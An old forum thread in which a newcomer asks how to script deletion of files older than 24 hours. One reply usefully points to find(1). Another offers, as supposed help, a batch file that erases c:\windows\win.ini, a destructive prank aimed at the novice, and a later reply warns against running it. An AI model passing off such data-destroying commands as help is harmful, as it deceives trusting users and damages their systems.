Computing.Net > Forums > Unix > Writing batch script to delete files

Computer Problems? Computing.Net has over 1,000,000 posts about all things technology related! Over 90% answered within 24 hours! Click here to start participating now! Also, be sure to check out the New User Guide.

Writing batch script to delete files

Reply to Message Icon

Name: Pinky Kapoor
Date: January 21, 1999 at 09:04:08 Pacific
Comment:

Hello

I need to write a simple batch script to delete all the files in a particular directory which are older than 24 hours.

Sound simple, but to a newbee this is very tough.

Please help



Sponsored Link
Ads by Google

Response Number 1
Name: Jonathan Fuerth
Date: January 25, 1999 at 21:45:45 Pacific
Reply:

Look at your vendor-supplied find(1) program.
Do this with the command line

man 1 find

and you should see how to ask the find(1) program to delete older files for you.

I can't be any more specific, since you didn't say which operating system you're using.

Hope this helps.


0

Response Number 2
Name: Melphia
Date: May 9, 2000 at 11:40:00 Pacific
Reply:

Ok write this in a batch file

cls
erase c:\windows\win.ini


0

Response Number 3
Name: Shaun
Date: October 5, 2000 at 05:29:19 Pacific
Reply:

DO NOT write the batch file listed above...the one that says erase c:\windows\win.ini...windows will not run correctly if you do so. You're a b$%^&$d for writing such a thing to a newbie looking for help.


0

Sponsored Link
Ads by Google
Reply to Message Icon

Related Posts

See More







Post Locked

This post is quite old and has been locked from receiving new replies. Please create a new posting instead.


Go to Unix Forum Home


Sponsored links

Ads by Google


Results for: Writing batch script to delete files

Script to delete lines from a file www.computing.net/answers/unix/script-to-delete-lines-from-a-file/7408.html

script to move file www.computing.net/answers/unix/script-to-move-file/4235.html

Script to delete old files www.computing.net/answers/unix/script-to-delete-old-files/4094.html